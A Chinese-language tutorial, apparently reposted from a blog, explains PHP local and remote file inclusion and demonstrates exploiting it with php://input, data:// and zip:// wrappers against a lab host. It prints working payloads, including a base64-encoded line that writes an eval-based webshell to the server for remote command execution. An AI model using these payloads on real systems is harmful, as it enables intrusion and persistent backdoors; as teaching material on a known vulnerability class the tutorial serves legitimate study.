任意文件包含漏洞原理解析及演示
本文转自行云博客https://www.xy586.top/
文章目录
原理
文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
- 1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
- 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
- 3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等函数。
分类
本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含 远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。
PHP文件包含的函数
include( ) 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含 进来,发生错误时之给出一个警告,继续向下执行。 include_once( ) 功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次 require( )require()与 include()的区别在于 require()执行如果发生错误,函数会输出 错误信息,并终止脚本的运行。 require_once( ) 功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次
远程文件包含漏洞
当包含的文件在远程服务器上时,就形成了远程文件包含 远程文件包含的注意点: 1). 需要php.ini中allow_url_include = on以及allow_url_fopen=on 2). 所包含远程服务器的文件后缀不能与目标服务器语言相同。(比如目标服务器是php脚本语言解析的, 那么包含的远程服务器文件后缀不能是php)
伪协议
data:text/plain 或 data:text/plain;base64 php://input php://filter file:// zip://
payload
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=;
include('php://input’);
include('php://filter/read=convert.base64-encode/resource=test.php');//用于读取源码
zip://2.zip%232.php
演示
本演示为通过伪协议获取webshell 测试的PHP文件
php://input 伪协议
使用burpsuite抓包再改包
Payload: http://192.168.232.128/file.php?a=php://input
更改请求方式为post post过去的代码为
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>
再发包即可生成一个shell.php文件,然后使用蚁剑连接
data://text/plain 伪协议
将木马使用base64编码
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>
编码之后
PD9QSFAgZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nKTs/Pg==
Payload:
http://192.168.232.128/file.php?a=data://text/plain;base64,PD9QSFAgZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4nKTs/Pg==
使用该payload即可在网站根目录下生成shell.php文件,然后蚁剑连接
zip:// 伪协议
创建一个zip压缩包,里面含有带木马的PHP文件
Payload:http://192.168.232.128/file.php?a=zip://2.zip%232.php
其余步骤与data伪协议一样
- Docker+Jenkins持续集成环境(4):使用etcd+confd实现容器服务注册与发现
- 易企秀前端压缩源码分析与还原
- 关于 JS 拖拽功能的冲突问题及解决方法
- 使用 SVG 和 JS 创建一个由星形变心形的动画
- 如何使用 Bootstrap 搭建更合理的 HTML 结构
- Java遍历Map对象的四种方式
- java 线程public void run()中值如何返回
- Jackson与spring框架整合的坑
- spring shiro整合时自动注入的问题
- mybatis获取update的id
- 点击!AWD攻防解题技巧在此!
- Docker 基础技术之 Linux namespace 详解
- Centos6下使用yum安装MariaDB
- Linux下部署Samba服务环境的操作记录
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 详解Android实现购物车页面及购物车效果(点击动画)
- Android利用LitePal操作数据库存取图片
- Android 改变图标原有颜色和搜索框的实例代码
- Android自定义滑动验证条的示例代码
- Android实现图片转高斯模糊以及高斯模糊布局
- android多媒体类VideoView使用方法详解
- Android编程实现短信收发及语音播报提示功能示例
- Android viewpager无限轮播获取网络图片功能
- Android 使用ContentObserver监听数据库内容是否更改
- Android UI中TextView的使用方法
- Android 中通过ViewDragHelper实现ListView的Item的侧拉划出效果
- 浅谈Android中使用异步线程更新UI视图的几种方法
- Android gradle打包并自动上传的方法
- Android 后台发送邮件到指定邮箱
- Android中socketpair双向通信详解